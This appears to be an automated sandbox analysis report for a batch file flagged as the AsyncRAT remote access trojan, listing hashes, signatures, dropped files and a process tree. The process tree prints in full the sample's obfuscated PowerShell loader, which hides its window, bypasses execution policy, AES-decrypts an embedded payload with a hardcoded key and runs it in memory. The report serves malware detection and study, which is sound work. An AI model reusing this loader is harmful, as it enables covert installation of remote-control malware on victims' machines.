Overview

overview

10

Static

static

AsyncClient.bat

windows7-x64

8

AsyncClient.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    144s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/10/2022, 15:01

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    AsyncClient.bat
  • Size 49KB
  • Sample221013-sdvz9saed3
  • SHA256 b26760b051260ea435c5c32f8e65cd200034495db040e58da7b453b3d57132a5
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
asyncratrat

Malware Config

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

    ratasyncrat
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\AsyncClient.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5024
    • C:\Users\Admin\AppData\Local\Temp\AsyncClient.bat.exe
      "AsyncClient.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $SwhmO = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\AsyncClient.bat').Split([Environment]::NewLine);foreach ($Jybab in $SwhmO) { if ($Jybab.StartsWith(':: ')) { $ueSRy = $Jybab.Substring(3); break; }; };$fUkPA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ueSRy);$MicvG = New-Object System.Security.Cryptography.AesManaged;$MicvG.Mode = [System.Security.Cryptography.CipherMode]::CBC;$MicvG.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$MicvG.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gccRCpv8WIY6jxnIauMjLIi0GurdZCn55tCBuXOMwkc=');$MicvG.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/kfGGbjm/okzmRemKYCs6A==');$gBcRs = $MicvG.CreateDecryptor();$fUkPA = $gBcRs.TransformFinalBlock($fUkPA, 0, $fUkPA.Length);$gBcRs.Dispose();$MicvG.Dispose();$FSfek = New-Object System.IO.MemoryStream(, $fUkPA);$xXWuz = New-Object System.IO.MemoryStream;$ZoxNY = New-Object System.IO.Compression.GZipStream($FSfek, [IO.Compression.CompressionMode]::Decompress);$ZoxNY.CopyTo($xXWuz);$ZoxNY.Dispose();$FSfek.Dispose();$xXWuz.Dispose();$fUkPA = $xXWuz.ToArray();$oOUmW = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($fUkPA);$ppCMZ = $oOUmW.EntryPoint;$ppCMZ.Invoke($null, (, [string[]] ('')))
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3004

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        AsyncClient.bat.exe
        • Path C:\Users\Admin\AppData\Local\Temp\AsyncClient.bat.exe
        • Size 442KB
        • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
        • MD5 SHA1 SHA512 SSDEEP
        Submit Download

        AsyncClient.bat.exe
        • Path C:\Users\Admin\AppData\Local\Temp\AsyncClient.bat.exe
        • Size 442KB
        • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
        • MD5 SHA1 SHA512 SSDEEP
        Submit Download

        memory/3004-134-0x000001DB7FF40000-0x000001DB7FF62000-memory.dmp
        Download

        memory/3004-136-0x00007FFFE7E80000-0x00007FFFE8941000-memory.dmp
        Download

        memory/3004-137-0x00007FFFE7E80000-0x00007FFFE8941000-memory.dmp
        Download